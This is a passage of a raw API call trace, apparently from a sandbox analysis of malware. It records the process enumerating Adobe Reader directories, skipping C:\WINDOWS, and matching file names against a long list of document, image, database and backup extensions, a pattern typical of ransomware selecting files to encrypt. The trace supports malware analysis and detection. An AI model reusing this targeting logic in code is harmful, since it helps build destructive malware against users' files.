returned -1 [0270.707] lstrlenW (lpString=".dwt") returned 4 [0270.707] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0270.707] lstrlenW (lpString=".dx") returned 3 [0270.707] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0270.707] lstrlenW (lpString=".dxf") returned 4 [0270.707] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0270.707] lstrlenW (lpString=".edml") returned 5 [0270.707] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0270.707] lstrlenW (lpString=".efd") returned 4 [0270.707] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0270.707] lstrlenW (lpString=".elf") returned 4 [0270.708] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0270.708] lstrlenW (lpString=".emf") returned 4 [0270.708] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0270.708] lstrlenW (lpString=".emz") returned 4 [0270.708] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0270.708] lstrlenW (lpString=".epf") returned 4 [0270.708] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0270.708] lstrlenW (lpString=".eps") returned 4 [0270.708] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0270.708] lstrlenW (lpString=".epsf") returned 5 [0270.708] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0270.708] lstrlenW (lpString=".epsp") returned 5 [0270.708] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0270.708] lstrlenW (lpString=".erf") returned 4 [0270.708] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0270.708] lstrlenW (lpString=".exr") returned 4 [0270.708] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0270.708] lstrlenW (lpString=".f4v") returned 4 [0270.708] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0270.708] lstrlenW (lpString=".fido") returned 5 [0270.708] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0270.708] lstrlenW (lpString=".flm") returned 4 [0270.708] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0270.708] lstrlenW (lpString=".flv") returned 4 [0270.708] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0270.708] lstrlenW (lpString=".frm") returned 4 [0270.708] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0270.708] lstrlenW (lpString=".fxg") returned 4 [0270.708] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0270.709] lstrlenW (lpString=".geo") returned 4 [0270.709] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0270.709] lstrlenW (lpString=".gif") returned 4 [0270.709] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0270.709] lstrlenW (lpString=".grs") returned 4 [0270.709] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0270.709] lstrlenW (lpString=".gz") returned 3 [0270.709] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0270.709] lstrlenW (lpString=".h") returned 2 [0270.709] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0270.709] lstrlenW (lpString=".hdr") returned 4 [0270.710] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0270.710] lstrlenW (lpString=".hpp") returned 4 [0270.710] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0270.710] lstrlenW (lpString=".hta") returned 4 [0270.710] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0270.710] lstrlenW (lpString=".htc") returned 4 [0270.710] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0270.710] lstrlenW (lpString=".htm") returned 4 [0270.710] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0270.710] lstrlenW (lpString=".html") returned 5 [0270.710] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0270.710] lstrlenW (lpString=".icb") returned 4 [0270.710] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0270.710] lstrlenW (lpString=".ics") returned 4 [0270.710] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0270.710] lstrlenW (lpString=".iff") returned 4 [0270.710] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0270.710] lstrlenW (lpString=".inc") returned 4 [0270.710] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0270.710] lstrlenW (lpString=".indd") returned 5 [0270.710] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0270.710] lstrlenW (lpString=".ini") returned 4 [0270.710] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0270.711] lstrlenW (lpString=".iqy") returned 4 [0270.711] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0270.711] lstrlenW (lpString=".j2c") returned 4 [0270.711] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0270.711] lstrlenW (lpString=".j2k") returned 4 [0270.711] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0270.711] lstrlenW (lpString=".java") returned 5 [0270.711] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0270.711] lstrlenW (lpString=".jp2") returned 4 [0270.711] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0270.711] lstrlenW (lpString=".jpc") returned 4 [0270.711] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0270.711] lstrlenW (lpString=".jpe") returned 4 [0270.711] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0270.711] lstrlenW (lpString=".jpeg") returned 5 [0270.711] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0270.711] lstrlenW (lpString=".jpf") returned 4 [0270.711] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0270.711] lstrlenW (lpString=".jpg") returned 4 [0270.711] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0270.711] lstrlenW (lpString=".jpx") returned 4 [0270.712] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0270.712] lstrlenW (lpString=".js") returned 3 [0270.713] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0270.713] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x743, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0270.713] FindClose (in: hFindFile=0x3315cb0 | out: hFindFile=0x3315cb0) returned 1 [0270.713] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0270.713] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0270.713] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es") returned 119 [0270.713] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es") returned 1 [0270.713] lstrlenW (lpString="eu-es") returned 5 [0270.713] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="eu-es") returned -1 [0270.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0270.713] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es") returned 119 [0270.713] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155f0 [0270.714] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0270.714] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x70e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0270.714] lstrlenW (lpString="ui-strings.js") returned 13 [0270.714] lstrlenW (lpString=".1cd") returned 4 [0270.714] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0270.714] lstrlenW (lpString=".3ds") returned 4 [0270.714] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0270.715] lstrlenW (lpString=".3fr") returned 4 [0270.715] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0270.715] lstrlenW (lpString=".3g2") returned 4 [0270.715] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0270.715] lstrlenW (lpString=".3gp") returned 4 [0270.715] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0270.715] lstrlenW (lpString=".7z") returned 3 [0270.715] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0270.715] lstrlenW (lpString=".accda") returned 6 [0270.715] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0270.715] lstrlenW (lpString=".accdb") returned 6 [0270.715] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0270.715] lstrlenW (lpString=".accdc") returned 6 [0270.715] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0270.715] lstrlenW (lpString=".accde") returned 6 [0270.715] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0270.715] lstrlenW (lpString=".accdt") returned 6 [0270.715] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0270.715] lstrlenW (lpString=".accdw") returned 6 [0270.715] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0270.715] lstrlenW (lpString=".adb") returned 4 [0270.716] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0270.716] lstrlenW (lpString=".adp") returned 4 [0270.716] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0270.716] lstrlenW (lpString=".ai") returned 3 [0270.716] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0270.716] lstrlenW (lpString=".ai3") returned 4 [0270.716] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0270.716] lstrlenW (lpString=".ai4") returned 4 [0270.716] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0270.716] lstrlenW (lpString=".ai5") returned 4 [0270.716] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0270.716] lstrlenW (lpString=".ai6") returned 4 [0270.716] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0270.716] lstrlenW (lpString=".ai7") returned 4 [0270.716] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0270.717] lstrlenW (lpString=".ai8") returned 4 [0270.717] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0270.717] lstrlenW (lpString=".anim") returned 5 [0270.717] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0270.717] lstrlenW (lpString=".arw") returned 4 [0270.717] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0270.717] lstrlenW (lpString=".as") returned 3 [0270.717] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0270.718] lstrlenW (lpString=".asa") returned 4 [0270.718] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0270.718] lstrlenW (lpString=".asc") returned 4 [0270.718] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0270.718] lstrlenW (lpString=".ascx") returned 5 [0270.718] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0270.718] lstrlenW (lpString=".asm") returned 4 [0270.718] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0270.718] lstrlenW (lpString=".asmx") returned 5 [0270.718] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0270.718] lstrlenW (lpString=".asp") returned 4 [0270.718] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0270.718] lstrlenW (lpString=".aspx") returned 5 [0270.718] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0270.718] lstrlenW (lpString=".asr") returned 4 [0270.718] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0270.718] lstrlenW (lpString=".asx") returned 4 [0270.718] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0270.719] lstrlenW (lpString=".avi") returned 4 [0270.719] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0270.719] lstrlenW (lpString=".avs") returned 4 [0270.719] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0270.719] lstrlenW (lpString=".backup") returned 7 [0270.719] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0270.719] lstrlenW (lpString=".bak") returned 4 [0270.719] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0270.719] lstrlenW (lpString=".bay") returned 4 [0270.719] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0270.719] lstrlenW (lpString=".bd") returned 3 [0270.719] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0270.719] lstrlenW (lpString=".bin") returned 4 [0270.719] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0270.719] lstrlenW (lpString=".bmp") returned 4 [0270.719] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0270.719] lstrlenW (lpString=".bz2") returned 4 [0270.719] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0270.719] lstrlenW (lpString=".c") returned 2 [0270.719] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0270.719] lstrlenW (lpString=".cdr") returned 4 [0270.719] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0270.719] lstrlenW (lpString=".cer") returned 4 [0270.720] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0270.720] lstrlenW (lpString=".cf") returned 3 [0270.720] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0270.720] lstrlenW (lpString=".cfc") returned 4 [0270.720] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0270.720] lstrlenW (lpString=".cfm") returned 4 [0270.720] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0270.720] lstrlenW (lpString=".cfml") returned 5 [0270.720] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0270.720] lstrlenW (lpString=".cfu") returned 4 [0270.720] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0270.720] lstrlenW (lpString=".chm") returned 4 [0270.720] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0270.720] lstrlenW (lpString=".cin") returned 4 [0270.720] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0270.720] lstrlenW (lpString=".class") returned 6 [0270.720] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0270.720] lstrlenW (lpString=".clx") returned 4 [0270.720] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0270.720] lstrlenW (lpString=".config") returned 7 [0270.720] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0270.720] lstrlenW (lpString=".cpp") returned 4 [0270.720] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0270.720] lstrlenW (lpString=".cr2") returned 4 [0270.720] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0270.721] lstrlenW (lpString=".crt") returned 4 [0270.721] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0270.721] lstrlenW (lpString=".crw") returned 4 [0270.721] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0270.721] lstrlenW (lpString=".cs") returned 3 [0270.721] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0270.721] lstrlenW (lpString=".css") returned 4 [0270.721] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0270.721] lstrlenW (lpString=".csv") returned 4 [0270.721] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0270.721] lstrlenW (lpString=".cub") returned 4 [0270.721] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0270.721] lstrlenW (lpString=".dae") returned 4 [0270.721] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0270.721] lstrlenW (lpString=".dat") returned 4 [0270.721] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0270.721] lstrlenW (lpString=".db") returned 3 [0270.721] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0270.721] lstrlenW (lpString=".dbf") returned 4 [0270.721] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0270.721] lstrlenW (lpString=".dbx") returned 4 [0270.721] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0270.721] lstrlenW (lpString=".dc3") returned 4 [0270.721] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0270.721] lstrlenW (lpString=".dcm") returned 4 [0270.721] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0270.721] lstrlenW (lpString=".dcr") returned 4 [0270.722] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0270.722] lstrlenW (lpString=".der") returned 4 [0270.722] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0270.722] lstrlenW (lpString=".dib") returned 4 [0270.722] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0270.722] lstrlenW (lpString=".dic") returned 4 [0270.722] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0270.722] lstrlenW (lpString=".dif") returned 4 [0270.722] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0270.722] lstrlenW (lpString=".divx") returned 5 [0270.723] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0270.723] lstrlenW (lpString=".djvu") returned 5 [0270.723] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0270.723] lstrlenW (lpString=".dng") returned 4 [0270.723] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0270.723] lstrlenW (lpString=".doc") returned 4 [0270.723] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0270.723] lstrlenW (lpString=".docm") returned 5 [0270.723] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0270.723] lstrlenW (lpString=".docx") returned 5 [0270.723] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0270.723] lstrlenW (lpString=".dot") returned 4 [0270.723] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0270.723] lstrlenW (lpString=".dotm") returned 5 [0270.723] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0270.723] lstrlenW (lpString=".dotx") returned 5 [0270.723] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0270.723] lstrlenW (lpString=".dpx") returned 4 [0270.723] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0270.723] lstrlenW (lpString=".dqy") returned 4 [0270.723] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0270.723] lstrlenW (lpString=".dsn") returned 4 [0270.724] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0270.724] lstrlenW (lpString=".dt") returned 3 [0270.724] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0270.724] lstrlenW (lpString=".dtd") returned 4 [0270.724] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0270.724] lstrlenW (lpString=".dwg") returned 4 [0270.724] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0270.724] lstrlenW (lpString=".dwt") returned 4 [0270.724] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0270.724] lstrlenW (lpString=".dx") returned 3 [0270.724] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0270.724] lstrlenW (lpString=".dxf") returned 4 [0270.724] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0270.724] lstrlenW (lpString=".edml") returned 5 [0270.724] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0270.724] lstrlenW (lpString=".efd") returned 4 [0270.725] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0270.725] lstrlenW (lpString=".elf") returned 4 [0270.725] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0270.725] lstrlenW (lpString=".emf") returned 4 [0270.725] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0270.725] lstrlenW (lpString=".emz") returned 4 [0270.725] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0270.725] lstrlenW (lpString=".epf") returned 4 [0270.725] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0270.725] lstrlenW (lpString=".eps") returned 4 [0270.725] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0270.725] lstrlenW (lpString=".epsf") returned 5 [0270.725] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0270.725] lstrlenW (lpString=".epsp") returned 5 [0270.725] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0270.726] lstrlenW (lpString=".erf") returned 4 [0270.726] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0270.726] lstrlenW (lpString=".exr") returned 4 [0270.726] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0270.726] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x70e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0270.726] FindClose (in: hFindFile=0x33155f0 | out: hFindFile=0x33155f0) returned 1 [0270.726] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0270.726] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0270.726] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0270.726] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33156f0 [0270.727] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0270.727] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x729, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0270.728] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x729, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0270.728] FindClose (in: hFindFile=0x33156f0 | out: hFindFile=0x33156f0) returned 1 [0270.728] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0270.728] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0270.729] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr") returned 119 [0270.729] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr") returned 1 [0270.729] 